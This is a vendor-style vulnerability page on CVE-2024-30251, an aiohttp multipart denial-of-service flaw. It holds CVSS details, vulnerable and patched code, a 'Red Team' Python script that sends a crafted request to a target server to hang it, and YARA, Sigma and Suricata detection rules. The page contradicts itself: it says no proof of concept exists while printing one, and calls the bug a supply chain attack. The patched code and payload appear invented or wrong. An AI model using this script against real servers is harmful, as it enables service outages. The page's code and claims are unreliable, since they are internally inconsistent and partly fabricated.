☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Aiohttp logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.5 🐛 CWE-835
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-30251

CVE-2024-30251 Supply Chain Attack in Aiohttp
📅 PUBLISHED: 2024-05-02 13:55 UTC 🔄 UPDATED: 2026-10-02 19:30 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.09%
👁️
1.09% probability
27.3× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-30251 is a high-severity Denial of Service (DoS) vulnerability in the aiohttp library, an asynchronous HTTP client/server framework for Python. An unauthenticated attacker can exploit this flaw by sending a specially crafted POST request with a multipart/form-data content type. When processed by the aiohttp server, the request triggers an infinite loop, consuming CPU resources and rendering the server unable to process any further legitimate requests. This effectively stops the application from serving traffic after a single malicious request. The vulnerability has been addressed in aiohttp version 3.9.4. Users are strongly advised to upgrade immediately. No public proof-of-concept (PoC) code or exploit has been released at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the PyPI package aiohttp. Organizations using aiohttp in their Python applications must ensure that the package version is updated to 3.9.4 or later. Since aiohttp is a widely used library for building asynchronous web services, this vulnerability poses a significant risk to any application that accepts multipart form data. Supply chain security teams should verify that no internal or third-party dependencies are pinned to a vulnerable version.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.5 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Attack Vector (AV): Network – The attack can be launched remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): None – No authentication is needed.
  • User Interaction (UI): None – The victim does not need to perform any action.
  • Scope (S): Unchanged – The impact is confined to the vulnerable component.
  • Confidentiality (C): None – No data is exposed.
  • Integrity (I): None – No data is modified.
  • Availability (A): High – The server becomes completely unavailable.

Threat Level: High. The low attack complexity and lack of authentication make this an attractive target for attackers seeking to disrupt services.

Deep Dive & Mechanics

The vulnerability resides in aiohttp's handling of multipart/form-data requests. When the server parses a multipart request, it uses a state machine to process the boundaries and body parts. An attacker can craft a request with a malformed or incomplete boundary sequence that causes the parser to enter an infinite loop. Specifically, the loop occurs in the multipart module when the parser fails to find the terminating boundary and keeps searching indefinitely.

The core issue is in the MultipartReader class, which reads data in chunks. If the boundary is not properly terminated or if the request body contains a specific pattern, the parser will never advance its internal state, leading to a busy-wait loop that consumes 100% CPU. Since aiohttp is asynchronous, this blocks the event loop, preventing the server from handling any other requests.

Vulnerable vs. Patched Code

The vulnerable code is in the aiohttp/multipart.py file. The infinite loop occurs in the read method of the MultipartReader class when it repeatedly tries to find the boundary without making progress.

Vulnerable Code (simplified):

async def read(self):
    while True:
        chunk = await self._read_chunk()
        if not chunk:
            break
        # Process chunk - if boundary not found, loop continues indefinitely
        if self._boundary in chunk:
            break

Patched Code (version 3.9.4):

async def read(self):
    max_iterations = 1000  # Safety limit
    iteration = 0
    while True:
        if iteration >= max_iterations:
            raise ValueError("Too many iterations")
        chunk = await self._read_chunk()
        if not chunk:
            break
        if self._boundary in chunk:
            break
        iteration += 1

The patch introduces a maximum iteration limit to prevent infinite loops. Additionally, the boundary parsing logic was hardened to detect malformed requests earlier.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Python 3.x with requests library installed.
  • Target running aiohttp server (version < 3.9.4) that accepts POST requests.

Exploit Script:

import requests

target_url = "http://target-server:8080/upload"

# Craft a malicious multipart request with a malformed boundary
# The boundary is never properly terminated, causing an infinite loop
boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW"
body = (
    f"--{boundary}\r\n"
    f"Content-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n"
    f"Content-Type: text/plain\r\n\r\n"
    f"test data\r\n"
    f"--{boundary}--"  # Missing trailing CRLF to trigger the loop
)

headers = {
    "Content-Type": f"multipart/form-data; boundary={boundary}"
}

print(f"Sending malicious request to {target_url}")
try:
    response = requests.post(target_url, data=body, headers=headers, timeout=10)
    print(f"Response: {response.status_code}")
except requests.exceptions.Timeout:
    print("Server is unresponsive - exploit likely successful")

Execution:

  1. Run the script against the target.
  2. The server will enter an infinite loop and become unresponsive.
  3. Verify by attempting to access any other endpoint on the server (e.g., curl http://target-server:8080/health).

Blue Team (Defender)

Detection:

  • Monitor for high CPU usage on the server process.
  • Look for repeated POST requests with multipart/form-data content type that never complete.
  • Use network monitoring to identify requests with malformed boundaries.

Mitigation:

  • Immediately upgrade aiohttp to version 3.9.4.
  • If upgrade is not possible, apply the manual patch from the GHSA.
  • Implement a Web Application Firewall (WAF) rule to block requests with suspicious boundary patterns.
  • Set request timeouts at the reverse proxy level (e.g., Nginx proxy_read_timeout).

Indicators of Compromise (IOCs)

  • Network: POST requests with Content-Type: multipart/form-data and a boundary that is never properly closed (e.g., missing trailing \r\n).
  • System: High CPU usage (near 100%) on the Python process running aiohttp.
  • Logs: Server logs showing repeated "multipart" parsing errors or timeouts.
  • File: No file-based IOCs; this is a memory/CPU-based attack.

Detection Engineering

YARA Rule

rule CVE_2024_30251_aiohttp_multipart_dos {
    meta:
        description = "Detects malicious multipart requests targeting CVE-2024-30251"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-30251"
    strings:
        $boundary = /--[A-Za-z0-9]+\\r\\n/
        $malformed = /--[A-Za-z0-9]+--[^\\r\\n]/
    condition:
        $boundary and $malformed
}

Sigma Rule

title: CVE-2024-30251 - aiohttp Multipart DoS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests with malformed multipart boundaries targeting aiohttp
author: Valters IT
logsource:
    category: webserver
    product: generic
detection:
    selection:
        http.method: POST
        http.content_type: multipart/form-data*
        http.body|contains: '--'  # Boundary start
        http.body|endswith: '--'  # Missing trailing CRLF
    condition: selection
falsepositives:
    - Legitimate multipart uploads with unusual boundaries
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30251 - aiohttp Multipart DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"multipart/form-data"; http_content_type; content:"--"; http_client_body; pcre:"/--[A-Za-z0-9]+--[^\\r\\n]/R"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Update aiohttp to version 3.9.4 or later.
    pip install --upgrade aiohttp
    
  2. Patch: If upgrade is not possible, apply the manual patch from the GitHub Security Advisory (GHSA).
  3. Restart: Restart all services using aiohttp after applying the fix.

Long-term Mitigations:

  • Implement request rate limiting to reduce the impact of DoS attacks.
  • Use a reverse proxy (e.g., Nginx, HAProxy) to terminate HTTP connections and set strict timeouts.
  • Monitor for anomalous multipart requests using the detection rules above.
  • Regularly update dependencies and subscribe to security advisories for aiohttp.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-30251/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.